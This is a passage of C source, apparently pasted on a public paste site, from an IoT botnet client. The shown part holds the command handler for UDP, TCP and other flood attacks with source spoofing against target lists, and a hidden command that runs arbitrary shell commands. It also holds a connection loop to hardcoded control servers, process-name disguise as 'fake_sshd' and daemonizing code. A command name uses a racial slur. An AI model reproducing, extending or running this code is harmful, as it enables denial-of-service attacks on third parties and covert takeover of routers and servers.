  2500. int time = atoi(argv[3]);
  2501. int spoofed = atoi(argv[4]);
  2502. int psiz = atoi(argv[5]);
  2503. int pinterval = atoi(argv[6]);
  2504. unsigned char *flgs = argv[7];
  2505. if(strstr(ip, ",") != NULL)
  2506. {
  2507. unsigned char *hi = strtok(ip, ",");
  2508. while(hi != NULL)
  2509. {
  2510. if(!listFork())
  2511. {
  2512. sendUDP(hi, port, time, spoofed, psiz, pinterval);
  2513. sendSTD(hi, port, time);
  2514. sendUNKNOWN(hi, time);
  2515. sendTCP(hi, port, time, spoofed, flgs, psiz, pinterval);
  2516. close(D1ckSucka);
  2517. _exit(0);
  2518. }
  2519. hi = strtok(NULL, ",");
  2520. }
  2521. } else {
  2522. if (listFork()) { return; }
  2523. sendUDP(ip, port, time, spoofed, psiz, pinterval);
  2524. sendSTD(ip, port, time);
  2525. sendUNKNOWN(ip, time);
  2526. sendTCP(ip, port, time, spoofed, flgs, psiz, pinterval);
  2527. _exit(0);
  2528. }
  2529. }
  2530. if(!strcmp(argv[0], "STD"))
  2531. {
  2532. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2533. {
  2534. return;
  2535. }
  2536. unsigned char *ip = argv[1];
  2537. int port = atoi(argv[2]);
  2538. int time = atoi(argv[3]);
  2539. if(strstr(ip, ",") != NULL)
  2540. {
  2541. unsigned char *hi = strtok(ip, ",");
  2542. while(hi != NULL)
  2543. {
  2544. if(!listFork())
  2545. {
  2546. sendSTD(hi, port, time);
  2547. _exit(0);
  2548. }
  2549. hi = strtok(NULL, ",");
  2550. }
  2551. } else {
  2552. if (listFork()) { return; }
  2553. sendSTD(ip, port, time);
  2554. _exit(0);
  2555. }
  2556. }
  2557. if(!strcmp(argv[0], "UKN")) {
  2558. if(argc < 3 || atoi(argv[2]) < 1) {
  2559. return; }
  2560. unsigned char *ip = argv[1];
  2561. int time = atoi(argv[2]);
  2562. if(strstr(ip, ",") != NULL) {
  2563. unsigned char *hi = strtok(ip, ",");
  2564. while(hi != NULL) {
  2565. if(!listFork()) {
  2566. sendUNKNOWN(ip, time);
  2567. _exit(0); }
  2568. hi = strtok(NULL, ","); }
  2569. } else {
  2570. if (listFork()) { return; }
  2571. sendUNKNOWN(ip, time);
  2572. _exit(0);
  2573. }
  2574. }
  2575. if(!strcmp(argv[0], "TCP"))
  2576. {
  2577. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  2578. {
  2579. return;
  2580. }
  2581. unsigned char *ip = argv[1];
  2582. int port = atoi(argv[2]);
  2583. int time = atoi(argv[3]);
  2584. int spoofed = atoi(argv[4]);
  2585. unsigned char *flags = argv[5];
  2586. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  2587. int psize = argc > 6 ? atoi(argv[6]) : 0;
  2588. if(strstr(ip, ",") != NULL)
  2589. {
  2590. unsigned char *hi = strtok(ip, ",");
  2591. while(hi != NULL)
  2592. {
  2593. if(!listFork())
  2594. {
  2595. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  2596. _exit(0);
  2597. }
  2598. hi = strtok(NULL, ",");
  2599. }
  2600. } else {
  2601. if (listFork()) { return; }
  2602. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  2603. _exit(0);
  2604. }
  2605. }
  2606. if(!strcmp(argv[0], "KILLATTK"))
  2607. {
  2608. int killed = 0;
  2609. unsigned long i;
  2610. for (i = 0; i < numpids; i++) {
  2611. if (pids[i] != 0 && pids[i] != getpid()) {
  2612. kill(pids[i], 9);
  2613. killed++;
  2614. }
  2615. }
  2616. }
  2617. if(!strcmp(argv[0], "DIENIGGER"))
  2618. {
  2619. exit(0);
  2620. }
  2621. }
  2622. int initConnection()
  2623. {
  2624. unsigned char server[4096];
  2625. memset(server, 0, 4096);
  2626. if(D1ckSucka) { close(D1ckSucka); D1ckSucka = 0; }
  2627. if(D1ckSuckaz + 1 == SERVER_LIST_SEX) D1ckSuckaz = 0;
  2628. else D1ckSuckaz++;
  2629. strcpy(server, hekkertelnet[D1ckSuckaz]);
  2630. int port = Server_Botport;
  2631. if(strchr(server, ':') != NULL)
  2632. {
  2633. port = atoi(strchr(server, ':') + 1);
  2634. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2635. }
  2636. D1ckSucka = socket(AF_INET, SOCK_STREAM, 0);
  2637. if(!connectTimeout(D1ckSucka, server, port, 30)) return 1;
  2638. return 0;
  2639. }
  2640. int getOurIP()
  2641. {
  2642. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2643. if(sock == -1) return 0;
  2644. struct sockaddr_in serv;
  2645. memset(&serv, 0, sizeof(serv));
  2646. serv.sin_family = AF_INET;
  2647. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  2648. serv.sin_port = htons(53);
  2649. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2650. if(err == -1) return 0;
  2651. struct sockaddr_in name;
  2652. socklen_t namelen = sizeof(name);
  2653. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2654. if(err == -1) return 0;
  2655. ourIP.s_addr = name.sin_addr.s_addr;
  2656. int cmdline = open("/proc/net/route", O_RDONLY);
  2657. char linebuf[4096];
  2658. while(fdgets(linebuf, 4096, cmdline) != NULL)
  2659. {
  2660. if(strstr(linebuf, "\t00000000\t") != NULL)
  2661. {
  2662. unsigned char *pos = linebuf;
  2663. while(*pos != '\t') pos++;
  2664. *pos = 0;
  2665. break;
  2666. }
  2667. memset(linebuf, 0, 4096);
  2668. }
  2669. close(cmdline);
  2670. if(*linebuf)
  2671. {
  2672. int i;
  2673. struct ifreq ifr;
  2674. strcpy(ifr.ifr_name, linebuf);
  2675. ioctl(sock, SIOCGIFHWADDR, &ifr);
  2676. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2677. }
  2678. close(sock);
  2679. }
  2680. char *getBuild()
  2681. {
  2682. if(access("/usr/bin/python", F_OK) != -1){
  2683. return "SERVER";
  2684. } else {
  2685. return "ROUTER";
  2686. }
  2687. }
  2688. int main(int argc, unsigned char *argv[])
  2689. {
  2690. char *mynameis = "";
  2691. if(access("/usr/bin/python", F_OK) != -1){
  2692. mynameis = "fake_sshd";
  2693. } else {
  2694. mynameis = "kill_dropbear";
  2695. }
  2696. if(geteuid() == 0){
  2697. userID = 0;
  2698. }
  2699. char *Buildz = getBuild();
  2700. if(Buildz == "SERVER")
  2701. {
  2702. //If python is installed
  2703. } else {
  2704. //If python is not installed
  2705. }
  2706. if(SERVER_LIST_SEX <= 0) return 0;
  2707. printf("BUILD %s:%s\n", getBuild(), inet_ntoa(ourIP));
  2708. strncpy(argv[0],"",strlen(argv[0]));
  2709. sprintf(argv[0], mynameis);
  2710. prctl(PRE_SET_SEX, (unsigned long) mynameis, 0, 0, 0);
  2711. srand(time(NULL) ^ getpid());
  2712. init_rand(time(NULL) ^ getpid());
  2713. pid_t pid1;
  2714. pid_t pid2;
  2715. int status;
  2716. getOurIP();
  2717. if (pid1 = fork()) {
  2718. waitpid(pid1, &status, 0);
  2719. exit(0);
  2720. } else if (!pid1) {
  2721. if (pid2 = fork()) {
  2722. exit(0);
  2723. } else if (!pid2) {
  2724. } else {
  2725. //N
  2726. }
  2727. } else {
  2728. //N
  2729. }
  2730. setsid();
  2731. chdir("/");
  2732. signal(SIGPIPE, SIG_IGN);
  2733. while(1)
  2734. {
  2735. if(initConnection()) { sleep(5); continue; }
  2736. HackerPrint(D1ckSucka, "\x1b[0;32mConnected | IP: %s | Type: %s | Version: %s", inet_ntoa(ourIP), getBuild(), VERSION);
  2737. char commBuf[4096];
  2738. int got = 0;
  2739. int i = 0;
  2740. while((got = recvLine(D1ckSucka, commBuf, 4096)) != -1)
  2741. {
  2742. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2743. unsigned int *newpids, on;
  2744. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2745. pids[on - 1] = 0;
  2746. numpids--;
  2747. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2748. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2749. free(pids);
  2750. pids = newpids;
  2751. }
  2752. commBuf[got] = 0x00;
  2753. trim(commBuf);
  2754. if(strstr(commBuf, "PING") == commBuf)
  2755. {
  2756. HackerPrint(D1ckSucka, "PONG");
  2757. continue;
  2758. }
  2759. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  2760. unsigned char *message = commBuf;
  2761. if(*message == '!')
  2762. {
  2763. unsigned char *nickMask = message + 1;
  2764. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2765. if(*nickMask == 0x00) continue;
  2766. *(nickMask) = 0x00;
  2767. nickMask = message + 1;
  2768. message = message + strlen(nickMask) + 2;
  2769. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2770. unsigned char *command = message;
  2771. while(*message != ' ' && *message != 0x00) message++;
  2772. *message = 0x00;
  2773. message++;
  2774. unsigned char *tmpcommand = command;
  2775. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2776. if(strcmp(command, "133-76-9420") == 0)
  2777. {
  2778. unsigned char buf[1024];
  2779. int command;
  2780. if (listFork()) continue;
  2781. memset(buf, 0, 1024);
  2782. szprintf(buf, "%s 2>&1", message);
  2783. command = fdpopen(buf, "r");
  2784. while(fdgets(buf, 1024, command) != NULL)
  2785. {
  2786. trim(buf);
  2787. memset(buf, 0, 1024);
  2788. sleep(1);
  2789. }
  2790. fdpclose(command);
  2791. exit(0);
  2792. }
  2793. unsigned char *params[10];
  2794. int paramsCount = 1;
  2795. unsigned char *pch = strtok(message, " ");
  2796. params[0] = command;
  2797. while(pch)
  2798. {
  2799. if(*pch != '\n')
  2800. {
  2801. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2802. memset(params[paramsCount], 0, strlen(pch) + 1);
  2803. strcpy(params[paramsCount], pch);
  2804. paramsCount++;
  2805. }
  2806. pch = strtok(NULL, " ");
  2807. }
  2808. processCmd(paramsCount, params);
  2809. if(paramsCount > 1)
  2810. {
  2811. int q = 1;
  2812. for(q = 1; q < paramsCount; q++)
  2813. {
  2814. free(params[q]);
  2815. }
  2816. }
  2817. }
  2818. }
  2819. }
  2820. return 0;
  2821. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement